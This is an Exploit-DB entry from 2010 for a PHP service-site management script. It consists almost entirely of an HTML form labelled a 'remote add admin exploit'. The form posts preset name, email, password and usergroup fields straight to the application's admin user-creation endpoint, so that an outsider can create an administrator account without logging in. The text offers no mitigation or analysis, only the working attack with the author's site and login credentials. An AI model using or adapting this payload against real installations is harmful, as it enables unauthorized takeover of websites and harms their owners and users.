Advanced Management For Services Sites - Remote Add Admin

EDB-ID:

12031

CVE:

N/A


Author:

alnjm33

Type:

webapps


Platform:

PHP

Date:

2010-04-03


 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Exploit Title : Advneced Management For Services Sites Remote add admin exploit
Author: alnjm33
Software Link: http://am4ss.com/am4ss.zip
Tested on: Version 1.0
My home : Sec-war.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
==========================================Dork==========================================
                                          find it
================================Exploit=============================================
<html dir="rtl">
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>sec-war.com</title>
</head>
<body text="#00FF00" bgcolor="#000000">
<form method="post" action="http://localhost/am4ss//admincp//users.php?do=add">
    <p align="center"><b><br>
    login with </b></p>
    <p align="center"><a href="mailto:sec-war@demo.net"><font color="#C0C0C0">
    sec-war@demo.net</font></a></p>
    <p align="center"><b>pass</b></p>
    <p align="center">123456</p>
    <table class="tborder" id="table32" style="BORDER-COLLAPSE: separate" cellSpacing="0" cellPadding="4" width="90%" align="center" border="0">
        <colgroup span="2">
            <col style="WIDTH: 45%"><col style="WIDTH: 55%">
        </colgroup>
        <thead>
            <tr>
                <td class="tcat" align="middle" colSpan="2" height="27"><b>add new admin </b>
                </td>
            </tr>
        </thead>
        <tr vAlign="top">
            <td class="optiontitle" colSpan="2">
            <p align="center"> </td>
        </tr>
        <tbody id="tbody_bbtitle">
            <tr vAlign="top">
                <td class="alt1" width="45%">
                <div class="smallfont">
                    <p align="center">Name*</div>
                </td>
                <td class="alt1" width="52%">
                <p align="center">
                <input class="bginput" dir="rtl" tabIndex="1" size="40" name="userfullname" value="Security War">
                </td>
            </tr>
            <tr vAlign="top">
                <td class="optiontitle" colSpan="2">
                <div>
                    <p align="center"> </div>
                </td>
            </tr>
        <tbody id="tbody_bbtitle">
            <tr vAlign="top">
                <td class="alt1" width="45%">
                <p align="center">PASS must me*</td>
                <td class="alt1" width="52%">
                <p align="center">
                <input class="bginput" dir="rtl" tabIndex="1" type="password" size="40" name="password" value="123456"><span lang="fr"> 
                </span></td>
            </tr>
            <tr vAlign="top">
                <td class="optiontitle" colSpan="2">
                <div>
                    <p align="center"> </div>
                </td>
            </tr>
        <tbody id="tbody_bbtitle">
            <tr vAlign="top">
                <td class="alt1" width="45%">
                <div class="smallfont">
                    <p align="center">username email *</div>
                </td>
                <td class="alt1" width="52%">
                <p align="center">
                <input class="bginput" dir="rtl" tabIndex="1" size="40" name="useremail" value="sec-war@demo.net"><span lang="fr"> 
                </span></td>
            </tr>
            <tr vAlign="top">
                <td class="optiontitle" colSpan="2">
                 </td>
            </tr>
        <tbody id="tbody_bbtitle">
            <tr vAlign="top">
                <td class="alt1" width="45%">
                <div class="smallfont">
                    <p align="center"><font face="Tahoma">forget it i made it
                    egypt</font></div>
                </td>
                <td class="alt1" width="52%">
                <p align="center">
                <select class="Edits" style="width: 181; height: 53" name="country" size="99" tabindex="10">
                <option value="ET"></option>
                <option>--   --</option>
                <option value="MA"> </option>
                <option value="EG" selected></option>
                </select> <span lang="fr">  </span></td>
            </tr>
            <tr vAlign="top">
                <td class="optiontitle" colSpan="2">
                <div>
                    <p align="center"> </div>
                </td>
            </tr>
        <tbody id="tbody_bbtitle">
            <tbody id="tbody_bbtitle">
            <tr vAlign="top">
                <td class="alt1" width="45%">
                <div class="smallfont">
                    <p align="center"><font face="Tahoma">forget it i made it
                    admin </font></div>
                </td>
                <td class="alt1" width="52%">
                <p align="center">
                <select name="usergroup" size="1" tabindex="1">
                <option value="3"></option>
                <option value="2"></option>
                <option value="1"></option>
                </select> <span lang="fr">  </span></td>
            </tr>
            <tbody id="tbody_bbtitle">
            <tr>
                <td class="tfoot" align="middle" colSpan="2">
                <input class="button" id="submit" type="submit" value="ok add  "> 
                </td>
            </tr>
    </table>
    <input type="hidden" name="do" value="save">
</form>
</body>
</html>